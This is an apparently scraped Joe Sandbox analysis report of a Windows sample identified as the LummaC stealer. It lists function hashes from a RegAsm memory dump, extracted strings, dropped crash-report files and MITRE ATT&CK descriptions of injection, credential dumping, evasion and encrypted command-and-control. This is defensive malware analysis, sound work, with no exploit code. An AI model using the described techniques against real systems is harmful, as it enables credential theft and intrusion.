Opcode ID: 1017eab8d6116623c7ffa8d6d6b1b71d4f7cd099dd98ff40ede101813820451b
Instruction ID: 80932a96dabd6fba4884692ddb85ff075f5917e2d19bc36c452f934854995108
Opcode Fuzzy Hash: 1017eab8d6116623c7ffa8d6d6b1b71d4f7cd099dd98ff40ede101813820451b
Instruction Fuzzy Hash: C6519C756082408FD344EF28C884B6EBBE5EF96304F48A92DE0C5C3352D739D855CB5A

Function 0043AC04 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

498;, xrefs: 0043AC38

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 498;
API String ID: 0-3542301482
Opcode ID: 09a9a01646e12645aaf5c968d4c14030ce9929390587507658b93841de193463
Instruction ID: ac37a49ea8b69cea9736704d5cedc65c3feb6e6e51624a86b23fe8f485ff2691
Opcode Fuzzy Hash: 09a9a01646e12645aaf5c968d4c14030ce9929390587507658b93841de193463
Instruction Fuzzy Hash: 940104B55583829BD304DF18C890A1BBBE1EBD6394F18A82DF4C5C7761C738D886CB4A

Function 0043C4BB Relevance: .8, Instructions: 841COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 676654bf90ae7c076ee61dca5fb71295f07adfb3806d79b63123aa3281b0e48a
Instruction ID: d96b1b7d1acfd82c45ae602ab2f1db41cd8fad78e31ee9098ef99b4826ea1e4b
Opcode Fuzzy Hash: 676654bf90ae7c076ee61dca5fb71295f07adfb3806d79b63123aa3281b0e48a
Instruction Fuzzy Hash: 0452CF39608201CFC714CF28D99061AB7F2FF8E315F1A896DD58A97761C734E865CB86

Function 004083F0 Relevance: .8, Instructions: 827COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 994ddfeb7f87985db57da05d951359d575f408c5735cb59e69eee654325c9775
Instruction ID: db93dc518552f9e0816e515711cd38a6c54d0735dbf575617fb0d9a6114185c0
Opcode Fuzzy Hash: 994ddfeb7f87985db57da05d951359d575f408c5735cb59e69eee654325c9775
Instruction Fuzzy Hash: 4052C3716087118BC724DF18D68067AB3E1FFD4314F19893ED9C6A7385DB38A952CB8A

Function 0043C5C0 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ed671ef8a2cb44e8f7e893591d7946374c8005618ae340ea25e921c1de7810
Instruction ID: 38a9d0a05bd55ec99e73eb7f432d91ecab70fe03f48622fc6ada1aa9483154c4
Opcode Fuzzy Hash: d1ed671ef8a2cb44e8f7e893591d7946374c8005618ae340ea25e921c1de7810
Instruction Fuzzy Hash: BD42AA36608201CFC714CF28D99061AB7F2FF8E315F1A896DD98A97761C734E856CB86

Function 0043C7C0 Relevance: .7, Instructions: 690COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6680dd2cc2a4446fa2f6e9cf8ad5f6abbae828f5cc1c5fffe7c008785fb4a58
Instruction ID: d9548218d18cf33fcbe66682fe19dccb8af6609f733d76804b66ef64824dba13
Opcode Fuzzy Hash: c6680dd2cc2a4446fa2f6e9cf8ad5f6abbae828f5cc1c5fffe7c008785fb4a58
Instruction Fuzzy Hash: 4C32AC35608201CFC718CF28D99061AB7F2FF8E314F1A896DD89A97761D734E856CB86

Function 00439270 Relevance: .7, Instructions: 656COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac76700491854509ec415a84dfd0b784d77b94190e5710fa7ce445890c11f4c
Instruction ID: 59d65b411b386426b5fb11d6fc128fa00613d9b939312cb1e3397b9cb6e07d21
Opcode Fuzzy Hash: bac76700491854509ec415a84dfd0b784d77b94190e5710fa7ce445890c11f4c
Instruction Fuzzy Hash: D822A875A083019FD714CF19C880B2BB7E2BBC9314F589A2EE4959B391D778EC01CB96

Function 0043C8C0 Relevance: .6, Instructions: 648COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34db4a2fed09c2dab522fb6ff9fe118369dc3da74183d1845f2faebba8118fd
Instruction ID: 290e51a3c35c362c28d448779af3692e7db43c1f7c69de891923527f616dc0ef
Opcode Fuzzy Hash: f34db4a2fed09c2dab522fb6ff9fe118369dc3da74183d1845f2faebba8118fd
Instruction Fuzzy Hash: 8322CD35608201CFC718CF28D99065AB7F2FF8E314F1A896DD89A97351D734E856CB86

Function 0041BB40 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90fc3aa887b2855c1f0bb271f259073480a145ef2ad53f759760400e457cb131
Instruction ID: 3b9c778957af2ac04a54f9e889ecfca3d244060231a92b6bfdd8168e8b1c2d67
Opcode Fuzzy Hash: 90fc3aa887b2855c1f0bb271f259073480a145ef2ad53f759760400e457cb131
Instruction Fuzzy Hash: ADD1F4729083118BC714CF28C8917ABB3F2EF99314F08862DE9858B395E778AD81C7D5

Function 00413940 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f286bd4195f7120d0d9b37f52b4064d1f253c6a01f5768f84f14eb3d9d42d49
Instruction ID: 6e0facec9e6eb2b8caa887373d178651fb31e6c7f7b6827d1c54b5623ce07eb2
Opcode Fuzzy Hash: 5f286bd4195f7120d0d9b37f52b4064d1f253c6a01f5768f84f14eb3d9d42d49
Instruction Fuzzy Hash: 09D1BFB19083419BD712DF24C8C07ABBBE4AF96355F44092EF4D687391E738D988C79A

Function 00416AD0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae31ed283284e28720c5c500a65ac4d6a72693834d8449f8a2337d0ab0f52c5b
Instruction ID: 22f88a2dd83cec99b6dd0f9c4efc68ffe64f26af1e1504b8987a511738a931a8
Opcode Fuzzy Hash: ae31ed283284e28720c5c500a65ac4d6a72693834d8449f8a2337d0ab0f52c5b
Instruction Fuzzy Hash: 4E4106B590C3149BC3219F94C8807A7B7E8EB51318F0A457ED88987382F779EC84C79A

Function 00438C80 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 984613e7b19238dd03422d57c58c45a54beaa5e171a10cababbcbfbe51ad76f1
Instruction ID: 520b88c8d1416e2c03a1004ef075438dcdb5ea6f1177f41786c8c87d0255b946
Opcode Fuzzy Hash: 984613e7b19238dd03422d57c58c45a54beaa5e171a10cababbcbfbe51ad76f1
Instruction Fuzzy Hash: 1D3187715083049FD310DF09C880B6BF7E0EB99318F18AA1DF4D8AB391C739D8068B9A

Function 00416637 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88b1e5a90fee89b756768336139c70cd48474458f2621e540c5585c1aeea5517
Instruction ID: a009b63b9e9a791cae38541774d5787fe1cbf14bb7d394cb0f1babf1797a705e
Opcode Fuzzy Hash: 88b1e5a90fee89b756768336139c70cd48474458f2621e540c5585c1aeea5517
Instruction Fuzzy Hash: F8314F396082919BD718CF14D4A06ABB7A1EFCA354F19862DE4C617751D330E851CB89

Function 00433BF0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 81d89b0ac5dcd8d10e5bc2646e8f6b30e3a7036a2e8761ade0b7638fb5c0cff6
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 2711EC33A091E40EC3168D3C8400565BF930A97636F59A39AF4B5AB2D6D52A8E8B8359

Function 00426A10 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f398d89658f7bf20746d38084334ee063dbb4a60ebeb23c04b5e62df213ff9
Instruction ID: 823b994fb5e49462cdfe3d7dea040b025afc832cdc893ec2633a52bf78430eec
Opcode Fuzzy Hash: 70f398d89658f7bf20746d38084334ee063dbb4a60ebeb23c04b5e62df213ff9
Instruction Fuzzy Hash: A7019EF1B0075147D620AE51F4C172BB2A9AB82708F19953EE949B7342DB7EEC0486A9

Function 00421EB0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681f36d4892e3706d65a3bc1e19ee2b28b30128ed6ca0144315eedc87c2a9666
Instruction ID: b48e17dc229cc030bbf6952dc211fc9ba39d071c8438bcca50167bfdf8dc3b6a
Opcode Fuzzy Hash: 681f36d4892e3706d65a3bc1e19ee2b28b30128ed6ca0144315eedc87c2a9666
Instruction Fuzzy Hash: 0011ACB0910B00AFD370DF2ED946713BAF8E70A260F50171EE5AAC7A91E335A4058BD6

Function 00422E75 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191db4d6084d89fe26f21e351e7674ac1c1dc70062e6ab66bc2f6d74317732ae
Instruction ID: de556b44f372de2d309952e19880188a8883b7bbb47e85479e6d23b7cd0b585b
Opcode Fuzzy Hash: 191db4d6084d89fe26f21e351e7674ac1c1dc70062e6ab66bc2f6d74317732ae
Instruction Fuzzy Hash: 01F065B0700A018FD30C8F79C852122B6E2EBCA310B44957D990ACB3F0D978EC018B18

Function 0040EA70 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: f7b405df857645bb4d449668f811515aed3229184da796e484aa4b61f44e3cc0
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: BFD0A7616497A20ED7588D3904E0477FBE8FA4B612B1818AFE4D2F3245D234DC164A9C

Function 0041343E Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d475b40b366a67423cfe667ac0cdc886378d9c805cda30a273e5a19b308f7e1e
Instruction ID: 76855a5bd96b0da9f94c322494c98f5e98be34bab61de8ec9d2dd9b53fb5a492
Opcode Fuzzy Hash: d475b40b366a67423cfe667ac0cdc886378d9c805cda30a273e5a19b308f7e1e
Instruction Fuzzy Hash: C7C08C6DA5410083CA88DF10FC8263E623A63D7204B09B23CC60BE3341CA28D422854E

Function 00426483 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415b3efd89355d071257ab5488caa97e473daa8a21d3899c4de7242870c4be1c
Instruction ID: 7805f9804a0ed9c759cb52df2ca1d8c548a5bd0251b3a4a2711d2032f67bf6fb
Opcode Fuzzy Hash: 415b3efd89355d071257ab5488caa97e473daa8a21d3899c4de7242870c4be1c
Instruction Fuzzy Hash: 06B092A9C4080086D1913B11BE4243AB0360553608F04303EE94A72242AA2ED11A519F

Function 0043B776 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8153a543fd5523b5578e9e9695483bf6168d79d8de76887193e386a0b78202f5
Instruction ID: 2ca4701585c8b3fc28de7b9063d2ffa4f529484d87b1ec9c54ca895f48eef1fe
Opcode Fuzzy Hash: 8153a543fd5523b5578e9e9695483bf6168d79d8de76887193e386a0b78202f5
Instruction Fuzzy Hash: CEC09229A694808B878CCF14DC50632B3FA9BCB204B14F4288006B3A56E234DC069A0C

Function 004298D7 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 300COMMON

Download Yara Rule

Strings

YDA[, xrefs: 00429B5A
MA[J, xrefs: 00429B61
E\XC, xrefs: 00429B4C

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: E\XC$MA[J$YDA[
API String ID: 0-286078667
Opcode ID: d92099dc2dbf92028f1a357af150cc682fae8bf609f88163bd8be50612e37e19
Instruction ID: ef954cbd57672fed2eccdff6b2023c048a2983481683537b9076e3848e36cd2d
Opcode Fuzzy Hash: d92099dc2dbf92028f1a357af150cc682fae8bf609f88163bd8be50612e37e19
Instruction Fuzzy Hash: 8FA14430204B918BD728CF29D840767FBE2AF96310F68866EC4E64B795D738F805CB59

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mkFOY01Gl5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_c9bfd8d07f254ebe8912d43c52adf5e55266565a_e47d3db6_cc4100ba-9324-4e3f-bbf5-c9151601b391\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mkFOY01Gl5.exe_f17527364e8b6e37285ab788bb2a9768f98071_61a3bbc4_8792fd5b-a84f-4d64-8493-38f89d51577a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E66.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3EC4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F23.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA935.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA50.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA70.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
mkFOY01Gl5.exe

Function 022C018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00114920 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 214
synchronizationthreadCOMMON

Function 00114D20 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 61
libraryloaderCOMMON

Function 00106494 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00114000 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70
threadCOMMON

Function 000FE516 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00108A6D Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Function 00114BD0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 107
memoryCOMMON

Function 0010866F Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00106182 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 000FE3BA Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00104F0C Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 000F625D Relevance: 1.6, APIs: 1, Instructions: 108
COMMON